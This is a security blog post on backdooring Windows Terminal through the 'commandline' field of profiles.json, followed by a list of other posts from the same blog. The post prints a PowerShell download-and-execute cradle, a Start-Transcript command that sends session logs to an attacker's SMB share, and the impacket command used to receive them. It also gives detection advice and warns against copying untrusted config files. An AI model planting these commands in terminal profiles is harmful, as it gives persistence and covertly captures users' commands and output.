applied security research
Rik van Duijn - 24 apr 2020

Windows terminal profile fun

Recently I started using the Preview version of Windows Terminal. It’s finally a shell on Windows thats nice to work with and I hope this will be default for future versions of Windows. It has tabs, support for different shells and customization options.  

While playing with the profiles.json file to change some settings I noticed the “commandline” option. The purpose of that option is to specify what needs to be started. I figured it might be possible to use that to launch additional things. So I decided to change the cmd.exe option and see if I would be able to pass commands.

"commandline": "cmd.exe /k calc.exe && cls",

And it worked: If a user selects the modified tab, it executes the command (calc.exe), clears the screen and carries on.

Backdoor the terminal

On Linux/MacOS you could backdoor the bash_profile, bashrc (T1156) or terminal theme. This could be the Windows variant. It might be a cool way to have persistence on the system of a developer. Or snoop in on any PowerShell session they have.

The customization feature is great: there are even people creating new themes and sharing it on sites like TerminalSplash. The themes on the website only add specific colours and include instructions how to add them. Other add key bindings (newTab/splitPane) and profiles themselves. Those could be abused to add shortcuts of terminals that start a backdoor on execution.

If you choose to copy an profiles.json from GitHub or something like that make sure you understand all the parts, it could be a nice way to hunt for devs! A fun trick would be to start a PowerShell script at the launch of every new PowerShell tab:

"commandline": "powershell.exe -NoExit -c \"iex(New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:9000/a.ps1')\""

The above start-up command downloads and executes a PowerShell script, for my testcase from localhost. The script it downloads can be anything but since we want to snoop we instruct the PowerShell window to log all executed commands and output of the commands to an SMB share of our choosing:

Start-Transcript -OutputDirectory \\192.168.2.14/LOGS/ -Append

cls

Once the terminal starts it shows up like a regular window, nothing wrong. But any command you execute is being logged. On the attacker machine we used “smbserver.py” from impacket to create an ad-hoc smb server where we store the logs.

Quick ad-hoc smb server by using the impacket example “./smbserver.py LOGS logs/”

Transcript written to the smb share.

Conclusion

To be clear: this is not a bug in Windows terminal, it’s a feature and a very useful one. Seeing the command line option just inspired me to find a different way to have persistence. Normally we would try and inject a shell or something like that. The blog is just here to show you a fun way to gain persistence that won’t be too obvious to anyone inspecting the system. You can compare it to changing the shortcut settings for PowerShell. While looking at this I came across this blog post that describes how to set the shell command for all PowerShell instances across Windows in the registry. Which would be even more nasty.

If anything be sure to not download entire profiles.json files but instead copy only the parts you need. Most sites distributing Windows Terminal themes only distribute the color part so it should be easy to keep to that.

Detection

Detecting this could be done by looking for the WindowsTerminal.exe parent with powershell.exe and a downloadcradle in the commandline.

Which is way too specific, would be better to just look for download and execute cradles. The sigma project contains great queries that detect various ones: “https://github.com/Neo23x0/sigma/blob/82cae6d63c9c2f6d3e86c57e11497d86279b9f95/rules/windows/powershell/powershell_suspicious_invocation_specific.yml”. It surprised me Defender ATP doesn’t trigger on download and execute cradles. Even though my final payload didn’t launch a backdoor or mimikatz it should at least be considered suspicious behavior.

Well that was a fun poc to build and play with 🙂 We even learned a thing, two actually:

  1. you shouldn’t download executable configs from the internet without understanding them first.
  2. don’t expect your security tooling to pick up on things you  think are malicious.
Blogs

Zolder.App LIVE Presentations

Erik Remmelzwaal - 11 jan 2021
During #CES2021 we will host a daily LIVE event in Microsoft Teams – OPEN FOR ALL, so also available for non-CES-visitors and non-Teams-users. Monday – Tuesday – Wednesday from 17:00 – 17:30 CET / 11:00 – 11:30 AM EST. The events will be hosted by Erik Remmelzwaal in English. The sessions will be opened for […] Lees verder

#CES2021 - We Are Ready!

Erik Remmelzwaal - 06 jan 2021
We are very excited to be part of the #CES2021NL mission! Meet us at CES (Januari 11-14) in our online booth 10609 and see how we solve global challenges with NLTech. Erik Remmelzwaal, Co-Founder & CEO Yes I indeed think we are ready for CES. At this virtual event we will showcase Zolder.App. I am […] Lees verder

Azure App Consent Policies

Rik van Duijn - 11 nov 2020
OAuth consent phishing has been on the rise for a while now. Unsurprisingly, Microsoft has gradually introduced measures to protect from this type of attack. Latest: Risk-Based Step-Up Consent. Lees verder

Honeytokens using Azure Keyvaults

Rik van Duijn - 15 okt 2020
In 2017 Wesley and I gave a presentation at SHA2017 about honey/pot/tokens. We actually planned on building a fully fledged platform. But never came further then the POC phase of that project. This week we got a product demo from the guys at Thinkst, i’ve always loved this way of thinking: let the attacker come […] Lees verder

Risk of exposed home automation services

Wesley Neelen - 24 sep 2020
At home, I am automating many things for fun. Currently I am using Home Assistant, an incredibly powerful piece of software for automating your home. Regularly I am combining the home automation experiences with security. Home automation is often related to physical things such as changing lights, moving curtains, opening door locks or turning the […] Lees verder

Hacking the traffic light of the future

Wesley Neelen - 06 aug 2020
Nowadays we are connecting everything we can think of to the internet. Usually to make our lives easier or more comfortable. Some of the new upcoming innovations are related to making our traffic smart with the goal to improve safety, comfort and the traffic flow. We dived into this technology to analyze the inner workings and identify potential security risks. Lees verder

Detect lateral movement with Azure Sentinel

Wesley Neelen - 01 jul 2020
Lately we have been setting up a the production network for our Zolder.App service. The network consists of multiple segments separated by a firewall. As an addition we wanted to add monitoring features into the network. If an attacker is in our network, we would like to get a notification. Lees verder

Detecting BEC fraud using Azure Sentinel

Rik van Duijn - 17 jun 2020
Business Email Compromise (BEC) Fraud inflicts the most damage of all types of cybercrime, according to the FBI. How to detect such attacks using Azure Sentinel? Rik shares some actual possibilities. Lees verder

Phishing aftercare

Rik van Duijn - 26 mei 2020
This blog is part of our Office 365 attack & defense series. We also maintain a Github page where we share our Office 365 tools and queries. We often get sent phishing emails by family and friends. Not to phish us but because we ask family and friends to forward them to us. Sometimes they […] Lees verder

Inside a phishing panel

Wesley Neelen - 20 mei 2020
Dutch and Belgium citizens are receiving phishing attacks every day. But how does that exactly work? Lees verder

Office 365 - Exchange rules

Rik van Duijn - 13 mei 2020
This blog is part of our Office 365 attack & defense series. We also maintain a Github page where we share our Office 365 tools and queries. Exchange rules can be useful in managing the emails we receive on a daily basis. For example, it allows users to automatically respond or move specific emails to […] Lees verder

Office 365 - malicious applications

Wesley Neelen - 05 mei 2020
Wesley dives into the App Registrations feature of Microsoft Azure Active Directory. Finds ways to abuse it through delegate & application permissions and shares ideas howto protect from such abuse. Lees verder

Windows terminal profile fun

Rik van Duijn - 24 apr 2020
Rik plays around with the preview version of Windows Terminal to find manipulation options. Lees verder

Building a Zolder logo

Wesley Neelen - 22 apr 2020
Wesley writes about his most recent IoT project: building a Zolder logo with WS2812B ledstrips behind it, to give it some cool effects. Lees verder